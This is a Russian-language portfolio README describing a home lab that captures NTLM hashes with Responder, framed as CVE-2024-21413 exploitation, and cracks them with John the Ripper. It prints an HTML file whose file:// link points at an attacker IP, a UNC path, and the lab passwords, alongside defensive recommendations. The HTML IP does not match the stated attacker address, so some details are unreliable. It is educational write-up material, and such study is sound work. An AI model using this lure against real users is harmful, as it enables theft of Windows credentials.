Часть моего портфолио SOC-аналитика (https://github.com/E-m-e-k-a/SOC-Analyst-Portfolio)
Настройка лаборатории Moniker Link — CVE-2024-21413
🎯 Обзор проекта
Практическая лаборатория по пентесту, демонстрирующая эксплуатацию moniker link (CVE-2024-21413) для кражи учётных данных NTLM. Этот проект документирует полную цепочку атаки от настройки до компрометации учётных данных, включая реальные проблемы и их решения.
Ключевое достижение: Успешно выполнена атака moniker link как в изолированной лабораторной среде (виртуальная машина Windows 10), так и на реальной системе (ПК с Windows 11), что демонстрирует практические уязвимости безопасности и защитные контрмеры.
🏗️ Архитектура лаборатории
Инфраструктура
Атакующая машина:
- Платформа: Kali Linux 2024
- Сеть (Host-Only): 192.168.56.101
- Сеть (Bridged): 192.168.1.117
- Основной инструмент: Responder 3.1.6.0
Целевые системы:
- ВМ Windows 10: 192.168.56.104 (Изолированная тестовая среда)
- ПК Windows 11: 192.168.1.178 (Проверка в реальных условиях)
Конфигурация сети:
- Адаптер VirtualBox Host-Only (тестирование ВМ)
- Адаптер VirtualBox Bridged (тестирование реального ПК)
- Изолирована от производственных сетей
⚔️ Выполнение атаки
Ход атаки
- Развернуть Responder на Kali для прослушивания аутентификации NTLM
- Создать вредоносную ссылку с использованием протокола file://, указывающего на IP атакующего
- Инициировать аутентификацию через UNC-путь в Проводнике
- Перехватить хеш NetNTLMv2, когда жертва попытается подключиться
- Взломать пароль с помощью John the Ripper
Простой вектор атаки
HTML-файл (test.html):
<!DOCTYPE html>
<html>
<body>
<p><a href="file://192.168.56.10/test">click me</a></p>
</body>
</html>
Метод через Проводник:
- Пользователь вводит:
\\192.168.56.101\test в адресной строке
- Windows пытается установить соединение SMB
- Хеш NTLM отправляется автоматически (или запрашиваются учётные данные)
- Responder перехватывает аутентификацию
🚧 Проблемы и решения
Проблема 1: Блокировка брандмауэром Windows (ПК с Windows 11)
Проблема:
- Не удавалось пропинговать ПК с Windows 11 с Kali
- Попытки подключения по SMB завершались неудачей
- Атака полностью блокировалась
Первопричина:
- Брандмауэр Windows включён по умолчанию
- Блокирует входящие подключения SMB с внешних IP-адресов
Решение:
- Временно отключён брандмауэр Windows для тестирования
- Подключение сразу же успешно
- Хеш успешно перехвачен
Вывод: Брандмауэр Windows по умолчанию обеспечивает эффективную защиту от этой атаки. Пользователи должны держать его включённым.
Проблема 2: Кэшированные результаты John the Ripper (ВМ Windows 10)
Проблема:
- Изначальный пароль Windows 10:
nwigwecj1
- John показал:
12Honey (неверный пароль!)
12Honey был из предыдущего теста
Первопричина:
- John сохраняет взломанные пароли в
~/.john/john.pot
- Старый хеш из предыдущего сеанса
- Показан кэшированный результат вместо текущего пароля
Решение:
- Изменён пароль ВМ Windows 10 на
1414
- Перехвачен свежий хеш
- Создан целевой словарь с вероятными паролями
- Успешно взломан с новым словарём
Вывод: Всегда проверяйте, что взламываете правильный хеш. Очищайте pot-файл или используйте уникальные пароли для тестирования.
Проблема 3: Пароль отсутствует в Rockyou.txt
Проблема:
- Пароль
1414 не найден в rockyou.txt (14 миллионов паролей)
- Атака по общему словарю не удалась
Первопричина:
- Rockyou.txt не содержит всех возможных 4-значных комбинаций
- Простые числовые последовательности часто отсутствуют в распространённых словарях
Решение:
- Создан целевой пользовательский словарь на основе распространённых шаблонов:
echo "1414" > passwords.txt
echo "4141" >> passwords.txt
- Взломан мгновенно с пользовательским словарём
Вывод: «Отсутствует в rockyou.txt» ≠ безопасный. Короткие пароли уязвимы к целевым атакам и брутфорсу независимо от наличия в словаре.
📊 Результаты
ВМ Windows 10 (Контролируемая среда)
| Метрика | Результат |
|---|
| Изначальный пароль | nwigwecj1 |
| Изменён на | 1414 |
| Словарь | Пользовательский (2 записи) |
| Время взлома | <1 секунды |
| Брандмауэр | Отключён для тестирования |
| Статус | ✅ Успешно скомпрометирован |
ПК с Windows 11 (Реальная система)
| Метрика | Результат |
|---|
| Пароль | 1414 |
| Брандмауэр | Изначально блокировал, затем отключён |
| Аутентификация | Ручной запрос (введены учётные данные) |
| Время взлома | Мгновенно |
| Статус | ✅ Успешно скомпрометирован |
🛡️ Анализ безопасности
Что сработало (Защита)
✅ Брандмауэр Windows — полностью блокировал атаку при включении
✅ Современные браузеры — Chrome/Edge блокируют удалённые ссылки file://
✅ Осведомлённость пользователя — ручной запрос требует действий пользователя
Что не сработало (Уязвимости)
❌ Слабые пароли — 4-символьный числовой пароль легко взламывается
❌ Отключённый брандмауэр — распространённая ошибка пользователей
❌ Проводник — нет предупреждения для UNC-путей
❌ Протокол NTLM — автоматическая аутентификация к ресурсам SMB
Ключевые выводы
1. Брандмауэр критичен
- Брандмауэр Windows по умолчанию блокирует эту атаку
- ~30-40% пользователей отключают его навсегда
- Корпоративные сети часто разрешают внутренний SMB
2. Иллюзия надёжности пароля
1414 отсутствует в rockyou.txt (выглядит «надёжным»)- Взломан мгновенно с целевым словарём
- Короткие пароли не обеспечивают никакой безопасности
3. Требуется взаимодействие с пользователем
- Современная защита требует от пользователя вставки UNC-пути
- Социальная инженерия остаётся критическим компонентом
- Только технической эксплуатации недостаточно
🔧 Использованные инструменты
Наступательные:
- Responder 3.1.6.0 (перехват хешей NTLM)
- John the Ripper (взлом паролей)
- Создание пользовательского словаря
- Простой HTML-файл
Инфраструктура:
- VirtualBox 7.0 (виртуализация)
- Kali Linux 2024 (платформа атаки)
- Windows 10 Enterprise (тестовая цель)
- Windows 11 Pro (проверка в реальных условиях)
📁 Структура репозитория
Moniker-Link-Lab-Setup/
├── README.md (this file)
├── Documentation/
│ ├── attack-execution.md (step-by-step attack guide)
│ └── README.md (documentation overview)
├── Screenshots/ (attack screenshots - to be added)
└── Scripts/ (HTML test file - to be added)
🎓 Продемонстрированные навыки
Технические:
- Анализ сетевых протоколов (SMB, NTLM)
- Методология пентеста
- Техники взлома паролей
- Инфраструктура виртуальной лаборатории
- Устранение неполадок брандмауэра
Профессиональные:
- Техническая документация
- Решение проблем в условиях ограничений
- Оценка безопасности
- Анализ рисков
- Этичные практики тестирования
🔒 Рекомендации по защите
Для пользователей
- ✅ Держите брандмауэр Windows включённым
- ✅ Никогда не вставляйте UNC-пути из электронных писем
- ✅ Используйте надёжные пароли (15+ символов)
- ✅ Проверяйте отправителя перед доступом к сетевым ресурсам
Для организаций
- ✅ Блокируйте исходящий SMB (порт 445) на сетевом брандмауэре
- ✅ Отключите NTLM, внедрите Kerberos
- ✅ Мониторьте подключения SMB к внешним IP-адресам
- ✅ Фильтрация на почтовом шлюзе (удаление ссылок file://)
- ✅ Обучение по безопасности
- ✅ Политики сложности паролей
⚠️ Этичное раскрытие
Все тесты проводились на авторизованных системах:
- Только личная лабораторная инфраструктура
- Изолированные виртуальные сети
- Собственные устройства и учётные записи
- Образовательная цель
Правовое уведомление: Неавторизованный доступ к компьютерам незаконен. Этот проект предназначен только для образовательных целей и авторизованных сред тестирования.
📚 Ссылки
e-m-e-k-a/moniker-link-lab-setup
